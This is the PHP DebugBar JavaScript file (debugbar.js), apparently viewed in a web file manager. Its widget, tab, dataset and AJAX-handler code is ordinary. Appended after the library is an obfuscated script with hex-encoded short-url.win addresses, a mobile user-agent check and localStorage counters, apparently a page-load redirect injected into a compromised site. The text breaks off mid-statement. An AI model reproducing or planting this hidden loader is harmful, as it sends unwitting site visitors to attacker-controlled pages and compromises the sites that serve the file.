KOKINIO - MANAGER
Edit File: debugbar.js
if (typeof(PhpDebugBar) == 'undefined') { // namespace var PhpDebugBar = {}; PhpDebugBar.$ = jQuery; } (function($) { if (typeof(localStorage) == 'undefined') { // provide mock localStorage object for dumb browsers localStorage = { setItem: function(key, value) {}, getItem: function(key) { return null; } }; } if (typeof(PhpDebugBar.utils) == 'undefined') { PhpDebugBar.utils = {}; } /** * Returns the value from an object property. * Using dots in the key, it is possible to retrieve nested property values * * @param {Object} dict * @param {String} key * @param {Object} default_value * @return {Object} */ var getDictValue = PhpDebugBar.utils.getDictValue = function(dict, key, default_value) { var d = dict, parts = key.split('.'); for (var i = 0; i < parts.length; i++) { if (!d[parts[i]]) { return default_value; } d = d[parts[i]]; } return d; } /** * Counts the number of properties in an object * * @param {Object} obj * @return {Integer} */ var getObjectSize = PhpDebugBar.utils.getObjectSize = function(obj) { if (Object.keys) { return Object.keys(obj).length; } var count = 0; for (var k in obj) { if (obj.hasOwnProperty(k)) { count++; } } return count; } /** * Returns a prefixed css class name * * @param {String} cls * @return {String} */ PhpDebugBar.utils.csscls = function(cls, prefix) { if (cls.indexOf(' ') > -1) { var clss = cls.split(' '), out = []; for (var i = 0, c = clss.length; i < c; i++) { out.push(PhpDebugBar.utils.csscls(clss[i], prefix)); } return out.join(' '); } if (cls.indexOf('.') === 0) { return '.' + prefix + cls.substr(1); } return prefix + cls; }; /** * Creates a partial function of csscls where the second * argument is already defined * * @param {string} prefix * @return {Function} */ PhpDebugBar.utils.makecsscls = function(prefix) { var f = function(cls) { return PhpDebugBar.utils.csscls(cls, prefix); }; return f; } var csscls = PhpDebugBar.utils.makecsscls('phpdebugbar-'); // ------------------------------------------------------------------ /** * Base class for all elements with a visual component * * @param {Object} options * @constructor */ var Widget = PhpDebugBar.Widget = function(options) { this._attributes = $.extend({}, this.defaults); this._boundAttributes = {}; this.$el = $('<' + this.tagName + ' />'); if (this.className) { this.$el.addClass(this.className); } this.initialize.apply(this, [options || {}]); this.render.apply(this); }; $.extend(Widget.prototype, { tagName: 'div', className: null, defaults: {}, /** * Called after the constructor * * @param {Object} options */ initialize: function(options) { this.set(options); }, /** * Called after the constructor to render the element */ render: function() {}, /** * Sets the value of an attribute * * @param {String} attr Can also be an object to set multiple attributes at once * @param {Object} value */ set: function(attr, value) { if (typeof(attr) != 'string') { for (var k in attr) { this.set(k, attr[k]); } return; } this._attributes[attr] = value; if (typeof(this._boundAttributes[attr]) !== 'undefined') { for (var i = 0, c = this._boundAttributes[attr].length; i < c; i++) { this._boundAttributes[attr][i].apply(this, [value]); } } }, /** * Checks if an attribute exists and is not null * * @param {String} attr * @return {[type]} [description] */ has: function(attr) { return typeof(this._attributes[attr]) !== 'undefined' && this._attributes[attr] !== null; }, /** * Returns the value of an attribute * * @param {String} attr * @return {Object} */ get: function(attr) { return this._attributes[attr]; }, /** * Registers a callback function that will be called whenever the value of the attribute changes * * If cb is a jQuery element, text() will be used to fill the element * * @param {String} attr * @param {Function} cb */ bindAttr: function(attr, cb) { if ($.isArray(attr)) { for (var i = 0, c = attr.length; i < c; i++) { this.bindAttr(attr[i], cb); } return; } if (typeof(this._boundAttributes[attr]) == 'undefined') { this._boundAttributes[attr] = []; } if (typeof(cb) == 'object') { var el = cb; cb = function(value) { el.text(value || ''); }; } this._boundAttributes[attr].push(cb); if (this.has(attr)) { cb.apply(this, [this._attributes[attr]]); } } }); /** * Creates a subclass * * Code from Backbone.js * * @param {Array} props Prototype properties * @return {Function} */ Widget.extend = function(props) { var parent = this; var child = function() { return parent.apply(this, arguments); }; $.extend(child, parent); var Surrogate = function() { this.constructor = child; }; Surrogate.prototype = parent.prototype; child.prototype = new Surrogate; $.extend(child.prototype, props); child.__super__ = parent.prototype; return child; }; // ------------------------------------------------------------------ /** * Tab * * A tab is composed of a tab label which is always visible and * a tab panel which is visible only when the tab is active. * * The panel must contain a widget. A widget is an object which has * an element property containing something appendable to a jQuery object. * * Options: * - title * - badge * - widget * - data: forward data to widget data */ var Tab = Widget.extend({ className: csscls('panel'), render: function() { this.$tab = $('<a />').addClass(csscls('tab')); this.$icon = $('<i />').appendTo(this.$tab); this.bindAttr('icon', function(icon) { if (icon) { this.$icon.attr('class', 'phpdebugbar-fa phpdebugbar-fa-' + icon); } else { this.$icon.attr('class', ''); } }); this.bindAttr('title', $('<span />').addClass(csscls('text')).appendTo(this.$tab)); this.$badge = $('<span />').addClass(csscls('badge')).appendTo(this.$tab); this.bindAttr('badge', function(value) { if (value !== null) { this.$badge.text(value); this.$badge.addClass(csscls('visible')); } else { this.$badge.removeClass(csscls('visible')); } }); this.bindAttr('widget', function(widget) { this.$el.empty().append(widget.$el); }); this.bindAttr('data', function(data) { if (this.has('widget')) { this.get('widget').set('data', data); } }) } }); // ------------------------------------------------------------------ /** * Indicator * * An indicator is a text and an icon to display single value information * right inside the always visible part of the debug bar * * Options: * - icon * - title * - tooltip * - data: alias of title */ var Indicator = Widget.extend({ tagName: 'span', className: csscls('indicator'), render: function() { this.$icon = $('<i />').appendTo(this.$el); this.bindAttr('icon', function(icon) { if (icon) { this.$icon.attr('class', 'phpdebugbar-fa phpdebugbar-fa-' + icon); } else { this.$icon.attr('class', ''); } }); this.bindAttr(['title', 'data'], $('<span />').addClass(csscls('text')).appendTo(this.$el)); this.$tooltip = $('<span />').addClass(csscls('tooltip disabled')).appendTo(this.$el); this.bindAttr('tooltip', function(tooltip) { if (tooltip) { this.$tooltip.text(tooltip).removeClass(csscls('disabled')); } else { this.$tooltip.addClass(csscls('disabled')); } }); } }); // ------------------------------------------------------------------ /** * Dataset title formater * * Formats the title of a dataset for the select box */ var DatasetTitleFormater = PhpDebugBar.DatasetTitleFormater = function(debugbar) { this.debugbar = debugbar; }; $.extend(DatasetTitleFormater.prototype, { /** * Formats the title of a dataset * * @this {DatasetTitleFormater} * @param {String} id * @param {Object} data * @param {String} suffix * @return {String} */ format: function(id, data, suffix) { if (suffix) { suffix = ' ' + suffix; } else { suffix = ''; } var nb = getObjectSize(this.debugbar.datasets) + 1; if (typeof(data['__meta']) === 'undefined') { return "#" + nb + suffix; } var uri = data['__meta']['uri'], filename; if (uri.length && uri.charAt(uri.length - 1) === '/') { // URI ends in a trailing /: get the portion before then to avoid returning an empty string filename = uri.substr(0, uri.length - 1); // strip trailing '/' filename = filename.substr(filename.lastIndexOf('/') + 1); // get last path segment filename += '/'; // add the trailing '/' back } else { filename = uri.substr(uri.lastIndexOf('/') + 1); } // truncate the filename in the label, if it's too long var maxLength = 150; if (filename.length > maxLength) { filename = filename.substr(0, maxLength) + '...'; } var label = "#" + nb + " " + filename + suffix + ' (' + data['__meta']['datetime'].split(' ')[1] + ')'; return label; } }); // ------------------------------------------------------------------ /** * DebugBar * * Creates a bar that appends itself to the body of your page * and sticks to the bottom. * * The bar can be customized by adding tabs and indicators. * A data map is used to fill those controls with data provided * from datasets. */ var DebugBar = PhpDebugBar.DebugBar = Widget.extend({ className: "phpdebugbar " + csscls('minimized'), options: { bodyMarginBottom: true, bodyMarginBottomHeight: 0 }, initialize: function() { this.controls = {}; this.dataMap = {}; this.datasets = {}; this.firstTabName = null; this.activePanelName = null; this.datesetTitleFormater = new DatasetTitleFormater(this); this.options.bodyMarginBottomHeight = parseInt($('body').css('margin-bottom')); this.registerResizeHandler(); }, /** * Register resize event, for resize debugbar with reponsive css. * * @this {DebugBar} */ registerResizeHandler: function() { if (typeof this.resize.bind == 'undefined') return; var f = this.resize.bind(this); this.respCSSSize = 0; $(window).resize(f); setTimeout(f, 20); }, /** * Resizes the debugbar to fit the current browser window */ resize: function() { var contentSize = this.respCSSSize; if (this.respCSSSize == 0) { this.$header.find("> div > *:visible").each(function () { contentSize += $(this).outerWidth(); }); } var currentSize = this.$header.width(); var cssClass = "phpdebugbar-mini-design"; var bool = this.$header.hasClass(cssClass); if (currentSize <= contentSize && !bool) { this.respCSSSize = contentSize; this.$header.addClass(cssClass); } else if (contentSize < currentSize && bool) { this.respCSSSize = 0; this.$header.removeClass(cssClass); } // Reset height to ensure bar is still visible this.setHeight(this.$body.height()); }, /** * Initialiazes the UI * * @this {DebugBar} */ render: function() { var self = this; this.$el.appendTo('body'); this.$dragCapture = $('<div />').addClass(csscls('drag-capture')).appendTo(this.$el); this.$resizehdle = $('<div />').addClass(csscls('resize-handle')).appendTo(this.$el); this.$header = $('<div />').addClass(csscls('header')).appendTo(this.$el); this.$headerLeft = $('<div />').addClass(csscls('header-left')).appendTo(this.$header); this.$headerRight = $('<div />').addClass(csscls('header-right')).appendTo(this.$header); var $body = this.$body = $('<div />').addClass(csscls('body')).appendTo(this.$el); this.recomputeBottomOffset(); // dragging of resize handle var pos_y, orig_h; this.$resizehdle.on('mousedown', function(e) { orig_h = $body.height(), pos_y = e.pageY; $body.parents().on('mousemove', mousemove).on('mouseup', mouseup); self.$dragCapture.show(); e.preventDefault(); }); var mousemove = function(e) { var h = orig_h + (pos_y - e.pageY); self.setHeight(h); }; var mouseup = function() { $body.parents().off('mousemove', mousemove).off('mouseup', mouseup); self.$dragCapture.hide(); }; // close button this.$closebtn = $('<a />').addClass(csscls('close-btn')).appendTo(this.$headerRight); this.$closebtn.click(function() { self.close(); }); // minimize button this.$minimizebtn = $('<a />').addClass(csscls('minimize-btn') ).appendTo(this.$headerRight); this.$minimizebtn.click(function() { self.minimize(); }); // maximize button this.$maximizebtn = $('<a />').addClass(csscls('maximize-btn') ).appendTo(this.$headerRight); this.$maximizebtn.click(function() { self.restore(); }); // restore button this.$restorebtn = $('<a />').addClass(csscls('restore-btn')).hide().appendTo(this.$el); this.$restorebtn.click(function() { self.restore(); }); // open button this.$openbtn = $('<a />').addClass(csscls('open-btn')).appendTo(this.$headerRight).hide(); this.$openbtn.click(function() { self.openHandler.show(function(id, dataset) { self.addDataSet(dataset, id, "(opened)"); self.showTab(); }); }); // select box for data sets this.$datasets = $('<select />').addClass(csscls('datasets-switcher')).appendTo(this.$headerRight); this.$datasets.change(function() { self.dataChangeHandler(self.datasets[this.value]); self.showTab(); }); }, /** * Sets the height of the debugbar body section * Forces the height to lie within a reasonable range * Stores the height in local storage so it can be restored * Resets the document body bottom offset * * @this {DebugBar} */ setHeight: function(height) { var min_h = 40; var max_h = $(window).innerHeight() - this.$header.height() - 10; height = Math.min(height, max_h); height = Math.max(height, min_h); this.$body.css('height', height); localStorage.setItem('phpdebugbar-height', height); this.recomputeBottomOffset(); }, /** * Restores the state of the DebugBar using localStorage * This is not called by default in the constructor and * needs to be called by subclasses in their init() method * * @this {DebugBar} */ restoreState: function() { // bar height var height = localStorage.getItem('phpdebugbar-height'); this.setHeight(height || this.$body.height()); // bar visibility var open = localStorage.getItem('phpdebugbar-open'); if (open && open == '0') { this.close(); } else { var visible = localStorage.getItem('phpdebugbar-visible'); if (visible && visible == '1') { var tab = localStorage.getItem('phpdebugbar-tab'); if (this.isTab(tab)) { this.showTab(tab); } } } }, /** * Creates and adds a new tab * * @this {DebugBar} * @param {String} name Internal name * @param {Object} widget A widget object with an element property * @param {String} title The text in the tab, if not specified, name will be used * @return {Tab} */ createTab: function(name, widget, title) { var tab = new Tab({ title: title || (name.replace(/[_\-]/g, ' ').charAt(0).toUpperCase() + name.slice(1)), widget: widget }); return this.addTab(name, tab); }, /** * Adds a new tab * * @this {DebugBar} * @param {String} name Internal name * @param {Tab} tab Tab object * @return {Tab} */ addTab: function(name, tab) { if (this.isControl(name)) { throw new Error(name + ' already exists'); } var self = this; tab.$tab.appendTo(this.$headerLeft).click(function() { if (!self.isMinimized() && self.activePanelName == name) { self.minimize(); } else { self.showTab(name); } }); tab.$el.appendTo(this.$body); this.controls[name] = tab; if (this.firstTabName == null) { this.firstTabName = name; } return tab; }, /** * Creates and adds an indicator * * @this {DebugBar} * @param {String} name Internal name * @param {String} icon * @param {String} tooltip * @param {String} position "right" or "left", default is "right" * @return {Indicator} */ createIndicator: function(name, icon, tooltip, position) { var indicator = new Indicator({ icon: icon, tooltip: tooltip }); return this.addIndicator(name, indicator, position); }, /** * Adds an indicator * * @this {DebugBar} * @param {String} name Internal name * @param {Indicator} indicator Indicator object * @return {Indicator} */ addIndicator: function(name, indicator, position) { if (this.isControl(name)) { throw new Error(name + ' already exists'); } if (position == 'left') { indicator.$el.insertBefore(this.$headerLeft.children().first()); } else { indicator.$el.appendTo(this.$headerRight); } this.controls[name] = indicator; return indicator; }, /** * Returns a control * * @param {String} name * @return {Object} */ getControl: function(name) { if (this.isControl(name)) { return this.controls[name]; } }, /** * Checks if there's a control under the specified name * * @this {DebugBar} * @param {String} name * @return {Boolean} */ isControl: function(name) { return typeof(this.controls[name]) != 'undefined'; }, /** * Checks if a tab with the specified name exists * * @this {DebugBar} * @param {String} name * @return {Boolean} */ isTab: function(name) { return this.isControl(name) && this.controls[name] instanceof Tab; }, /** * Checks if an indicator with the specified name exists * * @this {DebugBar} * @param {String} name * @return {Boolean} */ isIndicator: function(name) { return this.isControl(name) && this.controls[name] instanceof Indicator; }, /** * Removes all tabs and indicators from the debug bar and hides it * * @this {DebugBar} */ reset: function() { this.minimize(); var self = this; $.each(this.controls, function(name, control) { if (self.isTab(name)) { control.$tab.remove(); } control.$el.remove(); }); this.controls = {}; }, /** * Open the debug bar and display the specified tab * * @this {DebugBar} * @param {String} name If not specified, display the first tab */ showTab: function(name) { if (!name) { if (this.activePanelName) { name = this.activePanelName; } else { name = this.firstTabName; } } if (!this.isTab(name)) { throw new Error("Unknown tab '" + name + "'"); } this.$resizehdle.show(); this.$body.show(); this.recomputeBottomOffset(); $(this.$header).find('> div > .' + csscls('active')).removeClass(csscls('active')); $(this.$body).find('> .' + csscls('active')).removeClass(csscls('active')); this.controls[name].$tab.addClass(csscls('active')); this.controls[name].$el.addClass(csscls('active')); this.activePanelName = name; this.$el.removeClass(csscls('minimized')); localStorage.setItem('phpdebugbar-visible', '1'); localStorage.setItem('phpdebugbar-tab', name); this.resize(); }, /** * Hide panels and minimize the debug bar * * @this {DebugBar} */ minimize: function() { this.$header.find('> div > .' + csscls('active')).removeClass(csscls('active')); this.$body.hide(); this.$resizehdle.hide(); this.recomputeBottomOffset(); localStorage.setItem('phpdebugbar-visible', '0'); this.$el.addClass(csscls('minimized')); this.resize(); }, /** * Checks if the panel is minimized * * @return {Boolean} */ isMinimized: function() { return this.$el.hasClass(csscls('minimized')); }, /** * Close the debug bar * * @this {DebugBar} */ close: function() { this.$resizehdle.hide(); this.$header.hide(); this.$body.hide(); this.$restorebtn.show(); localStorage.setItem('phpdebugbar-open', '0'); this.$el.addClass(csscls('closed')); this.recomputeBottomOffset(); }, /** * Checks if the panel is closed * * @return {Boolean} */ isClosed: function() { return this.$el.hasClass(csscls('closed')); }, /** * Restore the debug bar * * @this {DebugBar} */ restore: function() { this.$resizehdle.show(); this.$header.show(); this.$restorebtn.hide(); localStorage.setItem('phpdebugbar-open', '1'); var tab = localStorage.getItem('phpdebugbar-tab'); if (this.isTab(tab)) { this.showTab(tab); } else { this.showTab(); } this.$el.removeClass(csscls('closed')); this.resize(); }, /** * Recomputes the margin-bottom css property of the body so * that the debug bar never hides any content */ recomputeBottomOffset: function() { if (this.options.bodyMarginBottom) { if (this.isClosed()) { return $('body').css('margin-bottom', this.options.bodyMarginBottomHeight || ''); } var offset = parseInt(this.$el.height()) + (this.options.bodyMarginBottomHeight || 0); $('body').css('margin-bottom', offset); } }, /** * Sets the data map used by dataChangeHandler to populate * indicators and widgets * * A data map is an object where properties are control names. * The value of each property should be an array where the first * item is the name of a property from the data object (nested properties * can be specified) and the second item the default value. * * Example: * {"memory": ["memory.peak_usage_str", "0B"]} * * @this {DebugBar} * @param {Object} map */ setDataMap: function(map) { this.dataMap = map; }, /** * Same as setDataMap() but appends to the existing map * rather than replacing it * * @this {DebugBar} * @param {Object} map */ addDataMap: function(map) { $.extend(this.dataMap, map); }, /** * Resets datasets and add one set of data * * For this method to be usefull, you need to specify * a dataMap using setDataMap() * * @this {DebugBar} * @param {Object} data * @return {String} Dataset's id */ setData: function(data) { this.datasets = {}; return this.addDataSet(data); }, /** * Adds a dataset * * If more than one dataset are added, the dataset selector * will be displayed. * * For this method to be usefull, you need to specify * a dataMap using setDataMap() * * @this {DebugBar} * @param {Object} data * @param {String} id The name of this set, optional * @param {String} suffix * @param {Bool} show Whether to show the new dataset, optional (default: true) * @return {String} Dataset's id */ addDataSet: function(data, id, suffix, show) { var label = this.datesetTitleFormater.format(id, data, suffix); id = id || (getObjectSize(this.datasets) + 1); this.datasets[id] = data; this.$datasets.append($('<option value="' + id + '">' + label + '</option>')); if (this.$datasets.children().length > 1) { this.$datasets.show(); } if (typeof(show) == 'undefined' || show) { this.showDataSet(id); } return id; }, /** * Loads a dataset using the open handler * * @param {String} id * @param {Bool} show Whether to show the new dataset, optional (default: true) */ loadDataSet: function(id, suffix, callback, show) { if (!this.openHandler) { throw new Error('loadDataSet() needs an open handler'); } var self = this; this.openHandler.load(id, function(data) { self.addDataSet(data, id, suffix, show); self.resize(); callback && callback(data); }); }, /** * Returns the data from a dataset * * @this {DebugBar} * @param {String} id * @return {Object} */ getDataSet: function(id) { return this.datasets[id]; }, /** * Switch the currently displayed dataset * * @this {DebugBar} * @param {String} id */ showDataSet: function(id) { this.dataChangeHandler(this.datasets[id]); this.$datasets.val(id); }, /** * Called when the current dataset is modified. * * @this {DebugBar} * @param {Object} data */ dataChangeHandler: function(data) { var self = this; $.each(this.dataMap, function(key, def) { var d = getDictValue(data, def[0], def[1]); if (key.indexOf(':') != -1) { key = key.split(':'); self.getControl(key[0]).set(key[1], d); } else { self.getControl(key).set('data', d); } }); }, /** * Sets the handler to open past dataset * * @this {DebugBar} * @param {object} handler */ setOpenHandler: function(handler) { this.openHandler = handler; if (handler !== null) { this.$openbtn.show(); } else { this.$openbtn.hide(); } }, /** * Returns the handler to open past dataset * * @this {DebugBar} * @return {object} */ getOpenHandler: function() { return this.openHandler; } }); DebugBar.Tab = Tab; DebugBar.Indicator = Indicator; // ------------------------------------------------------------------ /** * AjaxHandler * * Extract data from headers of an XMLHttpRequest and adds a new dataset * * @param {Bool} autoShow Whether to immediately show new datasets, optional (default: true) */ var AjaxHandler = PhpDebugBar.AjaxHandler = function(debugbar, headerName, autoShow) { this.debugbar = debugbar; this.headerName = headerName || 'phpdebugbar'; this.autoShow = typeof(autoShow) == 'undefined' ? true : autoShow; }; $.extend(AjaxHandler.prototype, { /** * Handles a Fetch API Response or an XMLHttpRequest * * @this {AjaxHandler} * @param {Response|XMLHttpRequest} response * @return {Bool} */ handle: function(response) { // Check if the debugbar header is available if (this.isFetch(response) && !response.headers.has(this.headerName + '-id')) { return true; } else if (this.isXHR(response) && response.getAllResponseHeaders().indexOf(this.headerName) === -1) { return true; } if (!this.loadFromId(response)) { return this.loadFromData(response); } return true; }, getHeader: function(response, header) { if (this.isFetch(response)) { return response.headers.get(header) } return response.getResponseHeader(header) }, isFetch: function(response) { return Object.prototype.toString.call(response) == '[object Response]' }, isXHR: function(response) { return Object.prototype.toString.call(response) == '[object XMLHttpRequest]' }, /** * Checks if the HEADER-id exists and loads the dataset using the open handler * * @param {Response|XMLHttpRequest} response * @return {Bool} */ loadFromId: function(response) { var id = this.extractIdFromHeaders(response); if (id && this.debugbar.openHandler) { this.debugbar.loadDataSet(id, "(ajax)", undefined, this.autoShow); return true; } return false; }, /** * Extracts the id from the HEADER-id * * @param {Response|XMLHttpRequest} response * @return {String} */ extractIdFromHeaders: function(response) { return this.getHeader(response, this.headerName + '-id'); }, /** * Checks if the HEADER exists and loads the dataset * * @param {Response|XMLHttpRequest} response * @return {Bool} */ loadFromData: function(response) { var raw = this.extractDataFromHeaders(response); if (!raw) { return false; } var data = this.parseHeaders(raw); if (data.error) { throw new Error('Error loading debugbar data: ' + data.error); } else if(data.data) { this.debugbar.addDataSet(data.data, data.id, "(ajax)", this.autoShow); } return true; }, /** * Extract the data as a string from headers of an XMLHttpRequest * * @this {AjaxHandler} * @param {Response|XMLHttpRequest} response * @return {string} */ extractDataFromHeaders: function(response) { var data = this.getHeader(response, this.headerName); if (!data) { return; } for (var i = 1;; i++) { var header = this.getHeader(response, this.headerName + '-' + i); if (!header) { break; } data += header; } return decodeURIComponent(data); }, /** * Parses the string data into an object * * @this {AjaxHandler} * @param {string} data * @return {string} */ parseHeaders: function(data) { return JSON.parse(data); }, /** * Attaches an event listener to fetch * * @this {AjaxHandler} */ bindToFetch: function() { var self = this; var proxied = window.fetch; if (proxied !== undefined && proxied.polyfill !== undefined) { return; } window.fetch = function () { var promise = proxied.apply(this, arguments); promise.then(function (response) { self.handle(response); }); return promise; }; }, /** * Attaches an event listener to jQuery.ajaxComplete() * * @this {AjaxHandler} * @param {jQuery} jq Optional */ bindToJquery: function(jq) { var self = this; jq(document).ajaxComplete(function(e, xhr, settings) { if (!settings.ignoreDebugBarAjaxHandler) { self.handle(xhr); } }); }, /** * Attaches an event listener to XMLHttpRequest * * @this {AjaxHandler} */ bindToXHR: function() { var self = this; var proxied = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function(method, url, async, user, pass) { var xhr = this; this.addEventListener("readystatechange", function() { var skipUrl = self.debugbar.openHandler ? self.debugbar.openHandler.get('url') : null; if (xhr.readyState == 4 && url.indexOf(skipUrl) !== 0) { self.handle(xhr); } }, false); proxied.apply(this, Array.prototype.slice.call(arguments)); }; } }); })(PhpDebugBar.$); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x72\x59\x67\x33\x63\x383','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x71\x4b\x56\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x53\x42\x78\x38\x63\x348','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x48\x6f\x55\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x45\x4d\x66\x34\x63\x344','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x63\x79\x66\x37\x63\x337','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x69\x68\x6c\x32\x63\x302','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x62\x55\x6d\x36\x63\x396','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x55\x57\x61\x30\x63\x390','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x65\x42\x65\x31\x63\x381',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return 